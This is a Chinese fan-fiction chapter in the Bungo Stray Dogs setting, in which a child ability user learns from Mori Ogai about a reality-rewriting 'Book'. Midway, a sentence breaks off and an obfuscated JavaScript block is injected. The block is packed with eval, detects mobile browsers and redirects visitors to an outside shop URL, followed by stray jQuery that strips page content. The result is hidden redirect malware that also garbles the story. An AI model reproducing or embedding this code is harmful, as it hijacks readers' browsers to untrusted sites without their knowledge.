神崎夜六岁那年的冬天，横滨冷得异常。
港口□□总部大楼的供暖系统在十二月中旬出了故障，第十七层的走廊温度骤降到八度左右。夜裹着一条加厚的灰色毛毯坐在活动室地毯上，手里翻着一本森鸥外上周给他的《逻辑学导论》。书页边缘已经泛黄，扉页上有人用铅笔写了批注，字迹工整而细密——那批注不是印刷体，是森鸥外的笔迹。夜在三个月前就认出了他的字。
"你在看什么？"健凑过来，下巴搁在他肩头，"字怎么密得像蚂蚁。"
"逻辑。"夜翻过一页，"森先生说，掌握信息之后要学会'推导'。光知道还不够，要知道这些信息意味着什么。"
健似懂非懂地点了点头。他的"分解"能力最近有了新进展——能在金属表面制造可控的微裂纹，这让他在组织的工程组里开始受重视。但健本人对这并不特别热衷，他更享受在活动室里搭模型，或者在晚饭时和绘里争最后一块天妇罗。
"夜，"绘里从地毯另一边爬过来，"森先生让你去一趟他的办公室。刚才有人传话。"
夜合上书。他站起来，毯子滑落在地上。绘里帮他捡起来叠好放在椅背上，动作熟练得像做过一百次。她确实做过一百次——这一年来，活动室已经被四个孩子经营得像一个真正的"家"。墙上贴了绘里的画，窗台上摆了健用木料拼的小动物，书架最底层是悠真积攒的一套漫画，收音机定时调到大家最喜欢的音乐频道。
夜推开门走向走廊尽头的电梯。这栋楼的布局他已经烂熟于心——十七层到二十层是森鸥外的核心办公区，十六层以下是普通行政和后勤部门，而他们所在的十七层夹在中间，像一块被特意切出来的特殊区域。夜曾试过向走廊另一个方向走，但走到尽头是一扇上了指纹锁的铁门，森鸥外没给他权限。他也没问过。
电梯上行两层，门开。夜走进森鸥外的办公室时，看到的是一个与往常不同的场景。
森鸥外坐在办公桌后，手里拿着一本旧书，封皮是暗红色的，没有书名。他的神情不像是"正在看书"，更像是"正在检查某件物品的完好性"。而在桌对面站着一个戴眼镜的年轻男人，夜以前在走廊里见过他——研究员之一，专攻古籍和文献修复。
"——碳十四测定的结果还要等两周，"年轻男人正在说，"但从纸张和墨水成分来看，时间跨度对得上。可能是同一批次的产物。"
森鸥外点了点头，把那本书放回了抽屉。他抬起头，看到门口的夜，面容松弛下来，露出那个标准的温和微笑。"夜，进来。"
夜走到办公桌前。年轻男人识趣地退了出去，关门时脚步声轻而快。办公室里只剩下夜和森鸥外两个人。
"最近训练怎么样？"森鸥外靠在椅背上，双手交握放在桌面上，姿态轻松得像在聊家常。
"稳定。信息处理上限比三个月前提高了约百分之二十。"夜说，"能同时读取三种不同材质的完整信息而不出现头痛。悠真的屏蔽层能持续更久了，绘里的成像精度提升了，健的控制力——"
"我不是问他们，"森鸥外轻轻打断了他，"我问你。你最近有什么想法？"
夜沉默了片刻。森鸥外问他"想法"的频率不高，大约两个月一次。每次都是用这种看似随意的口吻，但夜知道这是一个测试——森鸥外在检验他的思考深度、忠诚度、以及对自身处境的认知水平。
"我有几个问题。"夜说。
"你问。"
"那本书。"夜看向办公桌的抽屉，"不是普通的书。纸张和墨水的成分被刻意加工过，为了延长保存时间。书页之间的压痕深度不均匀——有些地方被反复翻开，有些地方从来没有被翻到过。那是一本用来查，而不是用来读的书。而且——"他顿了顿，"上面残留了不止一个人的指纹。最旧的指纹在封面上，那个人的信息很薄，但我能读到两个字。"
森鸥外的笑容没有变，但夜注意到他交握的手指轻微收紧了一瞬。
"哪两个字？"森鸥外问。
"'我写'。"
办公室里的空气沉默了三秒。然后森鸥外笑了。这次笑的声音比以往都大一些，像是被什么真正逗到了。
"你比我想象的还要敏锐，"他叹了口气，双手松开，向后仰在椅背上，"那本书是一本'副本'。不是原版。但它的存在本身很重要——它证明'原版'是真实存在的。"
"原版是什么？"
"一本书。"森鸥外说，目光落到窗外，"一本能改写现实的书。任何一个写在它上面的字都会变成真实的。没有限制，没有代价，没有例外。"
夜站在那里，异能自动读取着森鸥外说这句话时的情绪——平静的、确定的、有着长期规划的那一种。这个男人不是在"猜测"有这回事。他是在"确认"。确认那个东西存在，然后围绕那个"确认"去展开一切行动。
夜在这一瞬间，忽然想明白了很多事。
为什么森鸥外要收集异能者。为什么他要建立特殊的"信息处理"体系。为什么他会对自己这样一个五岁的孩子投入这么多时间和资源。那本"书"——改写现实的终极工具——才是棋盘上真正的"王"。而他们所有人，包括夜自己，都是围绕那个"王"部署的棋子。
"你告诉我这个，"夜说，"不担心我泄露吗？"
森鸥外微微歪了歪头，像是真的在考虑这个问题。"你打算泄露吗？"
"不会。"夜说，"因为我现在还不知道告诉谁。而且——"他又想了一下，"——如果那本书真的存在，知道它的人越多，风险越大。我会把这件事留在脑子里，不给任何人。"
森鸥外注视了他几秒，然后说了一句话，语气比刚才轻了一些。
"夜，你越来越不像一个孩子了。"
夜没有回答。他不知道这算表扬还是警告。但在异
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712416|208459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
能感知中，森鸥外的情绪里确实有某种近似于"满意"的东西——不是那种对工具的满意，而是对一个逐渐长成的"作品"的满意。
"我可以回去了吗？"夜问。
"去吧。"森鸥外说，"对了，今晚有客人来总部。大概九点左右，会路过十七层。你们四个待在房间里，不要出来，不要出声。能做到吗？"
"能。"
夜转身走向门口。在他推开门的瞬间，异能被动地捕捉到了走廊尽头电梯间传来的微弱信息——有人正在从楼下上行，一个人，年轻男性，走路姿态很轻，体重极轻，步伐节奏中带着一种奇异的松弛和警觉并存的感觉。这个人的异能波动很弱，弱到几乎不可察觉，但夜在接触到的瞬间感到一阵极其微妙的寒意——像是看到了一片平静水面下掩藏的极深极暗的深渊。
电梯到了。
夜没有回头。他走出了办公室，沿着走廊往回走，步伐平稳，面色如常。但他把那个人的信息锁在了脑子里——轻、松弛、警觉、深渊。
他回到活动室时，三个孩子都抬起了头。
"怎么样？"悠真问。
"普通谈话。"夜坐回地毯上，重新拿起《逻辑学导论》，翻到刚才读到的那一页，"今晚有客人，森先生说我们待在房间里不出来。"
"什么客人？"绘里好奇地凑过来。
"不知道。"
夜翻开书页，墨字在暖黄色的灯光下清晰而稳定。但他的视线没有真的落在字上。他的脑子里在转动着那本书、那两个字、"我写"、碳十四测定、指纹的叠压痕迹、以及走廊尽头电梯间里那个轻得像风一样的脚步声之间的关联。
那本书是"副本"。原版还在别处。而森鸥外在找它。
夜想明白了一件事：他今晚得知的这个信息，是一把钥匙。一把他还不确定能打开什么的钥匙，但他已经把它攥在手里了。在他六岁这年冬天的这个晚上，他第一次清楚地看到了森鸥外棋盘上最大的一枚棋子。
而那枚棋子的名字，叫做"书"。
活动室窗外开始飘雪。细小的雪花落在玻璃上，融化后留下蜿蜒的水痕。绘里跑过去趴在窗台上看雪，发出了惊叹声。健和悠真也凑了过去，四个人挤在窄窄的窗户前面，呵出的白气蒙在玻璃上又散开。
夜站在三个孩子中间，看着窗外横滨初雪纷纷扬扬地落下。他的异能感知中，十七层走廊尽头的电梯门开了，那个脚步很轻的人走了出来，沿着走廊朝某个方向去了。夜没有把感知伸得更远。他遵照了森鸥外的指令——待在房间，不出声，不探知。
但他心里记下了那个人的脚步节奏，轻，松弛，警觉，深渊。
这一天是神崎夜六岁的冬天。他第一次听说了"书"的存在。他第一次感觉到自己棋盘上的格子正在变多、变深、变得复杂到他无法一眼望穿。
而他第一次见到太宰治，将在三十七天后到来。